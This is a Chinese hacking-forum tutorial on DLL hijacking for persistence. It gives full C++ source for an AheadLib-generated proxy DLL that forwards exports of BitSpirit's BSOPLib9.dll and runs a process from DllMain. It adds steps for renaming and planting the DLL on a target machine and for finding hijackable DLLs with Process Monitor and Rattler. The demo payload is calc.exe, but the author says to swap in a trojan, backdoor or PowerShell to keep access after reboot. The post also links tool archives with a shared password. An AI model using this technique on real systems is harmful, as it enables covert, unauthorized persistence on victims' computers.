安全矩阵

 找回密码
 立即注册
搜索
查看: 8054|回复: 0

干货 | 如何快速完成DLL劫持,实现权限维持,重启上线

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2021-1-24 22:06:56 | 显示全部楼层 |阅读模式
原文链接:干货 | 如何快速完成DLL劫持,实现权限维持,重启上线

需要用到的工具以及应用


白文件-也就是被劫持的应用程序
AheadLib
VS2019

AheadLib



白文件-需要被劫持的应用

这里以比特精灵为例

双击运行AheadLib.exe,如果选择了dll,但是AheadLib.exe报错就需要运行AheadLib_x64.exe来生成,最后生成修改后的dll也需要生成x64位的

点生成就会生成一个.cpp文件


BSOPLib9.cpp的代码内容如下




  1. ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  2. // 头文件
  3. #include <Windows.h>
  4. ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



  5. ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  6. // 导出函数
  7. #pragma comment(linker, "/EXPORT:BO_GetMemory=BSOPLib9Org.BO_GetMemory,@1")
  8. #pragma comment(linker, "/EXPORT:BO_FreeMemory=BSOPLib9Org.BO_FreeMemory,@2")
  9. #pragma comment(linker, "/EXPORT:BO_Adler32=BSOPLib9Org.BO_Adler32,@3")
  10. #pragma comment(linker, "/EXPORT:BO_CRC32=BSOPLib9Org.BO_CRC32,@4")
  11. #pragma comment(linker, "/EXPORT:BO_SHA1Reset=BSOPLib9Org.BO_SHA1Reset,@5")
  12. #pragma comment(linker, "/EXPORT:BO_SHA1Input=BSOPLib9Org.BO_SHA1Input,@6")
  13. #pragma comment(linker, "/EXPORT:BO_SHA1Result=BSOPLib9Org.BO_SHA1Result,@7")
  14. #pragma comment(linker, "/EXPORT:BO_SHA1Simple=BSOPLib9Org.BO_SHA1Simple,@8")
  15. #pragma comment(linker, "/EXPORT:BO_MD5=BSOPLib9Org.BO_MD5,@9")
  16. #pragma comment(linker, "/EXPORT:BO_RC4PrepareKey=BSOPLib9Org.BO_RC4PrepareKey,@10")
  17. #pragma comment(linker, "/EXPORT:BO_RC4=BSOPLib9Org.BO_RC4,@11")
  18. ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



  19. ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  20. // 入口函数
  21. BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
  22. {
  23. if (dwReason == DLL_PROCESS_ATTACH)
  24.   {
  25.     DisableThreadLibraryCalls(hModule);
  26.   }
  27. else if (dwReason == DLL_PROCESS_DETACH)
  28.   {
  29.   }

  30. return TRUE;
  31. }
复制代码

接下来打开宇宙第一IDE


VS2019

创建一个动态链接库项目

然后设置路径以及名称

复制BSOPLib9.cpp到dllmain.cpp

选择发行版本和位数-(x86或者x64,这就要看你前面用的是AheadLib.exe还是AheadLib_x64.exe来生成的)
PS:如果是 64 位的 DLL 需要在项目中添加之前生成的 .obj 文件

dllmain.cpp如下

  1. // dllmain.cpp : 定义 DLL 应用程序的入口点。
  2. #include "pch.h"
  3. #include <Windows.h>

  4. ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  5. // 导出函数
  6. #pragma comment(linker, "/EXPORT:BO_GetMemory=BSOPLib9Org.BO_GetMemory,@1")
  7. #pragma comment(linker, "/EXPORT:BO_FreeMemory=BSOPLib9Org.BO_FreeMemory,@2")
  8. #pragma comment(linker, "/EXPORT:BO_Adler32=BSOPLib9Org.BO_Adler32,@3")
  9. #pragma comment(linker, "/EXPORT:BO_CRC32=BSOPLib9Org.BO_CRC32,@4")
  10. #pragma comment(linker, "/EXPORT:BO_SHA1Reset=BSOPLib9Org.BO_SHA1Reset,@5")
  11. #pragma comment(linker, "/EXPORT:BO_SHA1Input=BSOPLib9Org.BO_SHA1Input,@6")
  12. #pragma comment(linker, "/EXPORT:BO_SHA1Result=BSOPLib9Org.BO_SHA1Result,@7")
  13. #pragma comment(linker, "/EXPORT:BO_SHA1Simple=BSOPLib9Org.BO_SHA1Simple,@8")
  14. #pragma comment(linker, "/EXPORT:BO_MD5=BSOPLib9Org.BO_MD5,@9")
  15. #pragma comment(linker, "/EXPORT:BO_RC4PrepareKey=BSOPLib9Org.BO_RC4PrepareKey,@10")
  16. #pragma comment(linker, "/EXPORT:BO_RC4=BSOPLib9Org.BO_RC4,@11")
  17. ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



  18. ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  19. // 入口函数
  20. BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
  21. {
  22.   STARTUPINFO si = { sizeof(si) };
  23.   PROCESS_INFORMATION pi;
  24.   CreateProcess(TEXT("C:\\Windows\\System32\\calc.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
  25. //调用计算器应用程序,也可以自定义你需要的应用,注意路径需要\\来表示
  26. if (dwReason == DLL_PROCESS_ATTACH)
  27.   {
  28.     DisableThreadLibraryCalls(hModule);
  29.   }
  30. else if (dwReason == DLL_PROCESS_DETACH)
  31.   {
  32.   }

  33. return TRUE;
  34. }

复制代码

注意:我们在入口函数中相较于BSOPLib9.cpp,多加了3行代码,用来启动进程


calc.exe可以替换你需要调用的木马后门以及powershell等等,自行发挥即可,继而完成权限维持


  1. STARTUPINFO si = { sizeof(si) };
  2. PROCESS_INFORMATION pi;
  3. CreateProcess(TEXT("C:\\Windows\\System32\\calc.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
复制代码

然后点击-生成-生成dll即可


复制dll到被劫持的应用程序目录下

然后重新命名dll.dll为BSOPLib9.dll,原来的BSOPLib9.dll需要重新命名为BSOPLib9Org.dll

然后双击运行就会调用我们在代码里面写好的调用calc.exe计算器

成功完成DLL劫持工作,你学会了吗?

如何查找可能存在劫持的DLL
1、一般来说,我们可以使用ProcessExplorer、ProcessMonitor,再结合者注册表KnownDLLs即可分析,可能存在DLL劫持的漏洞。
ProcessExplorer:

ProcessMonitor:

2、当然,也存在懒的方法,比如使用 Rattler_x64.exe 这个工具。
  1. Rattler_x64.exe "D:\Firefox\firefox\firefox.exe" 1
复制代码

​注:使用该工具,测试软件路径不能有中文。来源:https://github.com/sensepost/rattler


Tips:
1.如果是目标机器运行者需要劫持的应用程序,需要先kill进程,然后上传需要替换的劫持dll以及源dll,才能完成替换


2.最后给大家送几个白文件的




AheadLib下载地址:
链接:
https://pan.baidu.com/s/1scctQb4JlHXW2x6r5ouRqw
提取码:bv64
解压密码:hacker1961
rattler下载地址:
链接:
https://pan.baidu.com/s/1G0rmf5Qq6P3d9bVU4MwbqA
提取码:0khg
解压密码:hacker1961











回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 20:33 , Processed in 0.013416 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表